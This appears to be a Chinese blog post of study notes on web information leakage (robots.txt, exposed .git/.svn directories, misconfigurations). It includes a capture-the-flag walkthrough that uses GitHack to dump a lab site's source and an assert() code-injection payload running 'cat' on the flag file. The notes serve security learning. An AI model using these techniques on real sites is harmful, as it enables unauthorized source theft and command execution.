信息泄露

类型

版本软件信息泄露

git ,svn, hg,bzr,cvs

敏感文件信息泄露

robots.txt www.zip 静态文件配置泄露

配置错误信息泄露

DS_Stroe WEB.INF Apache,Nginx 错误配置

漏洞利用

http头信息泄露

/admin/ 访问admin目录文件,默认index.html或index.php

/admin 访问admin文件,若没有就返回404 访问失败

有时候不加/ 也能访问到/admin/,因为配置文件里面进行了设置

路由(网站主流)

/user 访问的是user路由 ,根据server头判断,比如php,asp,jsp,aspx,html,shtml这些后缀是基于文件的

而这些看起来没有后缀的,或者类似于/user/login?username=admin&password=123这种形式,基于路由的,需要多次判断

200 正常

301 302 表示跳转

404 文件不存在

500 服务器内部错误

502 转发失败 error gatwary

报错信息泄露

页面信息泄露

看源代码console

robots.txt敏感文件泄露

机器人协议,爬虫协议

爬虫遵守的规则

不能访问(此地无银三百两)

不一定真,可能在钓鱼

git文件泄露

保存提交记录的文件夹文字为.git,在linux中隐藏文件

/.git/

403 有目录但不允许访问,则使用下面工具

githack

利用.git泄露利用脚本,通过泄露.git文件夹下的文件,重建还原工程源代码

渗透测试人员、攻击者,可进一步审计代码,挖掘:文件上传,sql注射等web安全漏洞

利用工作原理

解析.git/index 文件,找到工程中所有的:(文件名,文件名sha1)

去.git/objects/ 文件夹下 下载对应的文件

zlib解压文件,按原始的目录结果写入源代码

利用工具的代码

python .\GitHack.py -u “http://example.com/.git/

例题攻防世界-mfw

python GitHack.py http://61.147.171.105:53928/.git/

templates 下面有个flag.php

访问打不开,看index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

输出 flag 要满足以下 2 句代码,注意到第二句代码是个 assert() 断言,它可以将参数作为代码来执行。

$file = “templates/“ . $page . “.php”;

assert(“strpos(‘$file’, ‘..’) === false”)

因此我们考虑让断言执行 cat 命令,直接回显目录下的 flag.php 文件,这样就能看到其中的内容了。构造出的 payload 如下,上传得到 flag。

?page=abc’) or system(“cat templates/flag.php”);

信息泄露总结

1.robots.txt泄露(里面有可疑路径或者文件名称)

2.git/svn泄露(访问.git或者.svn目录出现403)

3.页面注释泄露(右键看源代码)、http头泄露

4.任意文件下载造成的信息泄露(可以下载WEB—INF文件夹里面的内容)

5.开源社区信息泄露,例如:泄露出项目名,而整个项目可以在github,gitee上找到

6.使用vim异常退出,可能存在类似.index,php,swp临时文件

还有一部分冷门的信息泄露,如.DS_Store泄露,nginx错误配置导致的文件泄露,因为利用效果有限或者不具有通用性,所以这里不深入了解


信息泄露
http://example.com/2024/07/03/信息泄露/
Author
chaye
Posted on
July 3, 2024
Licensed under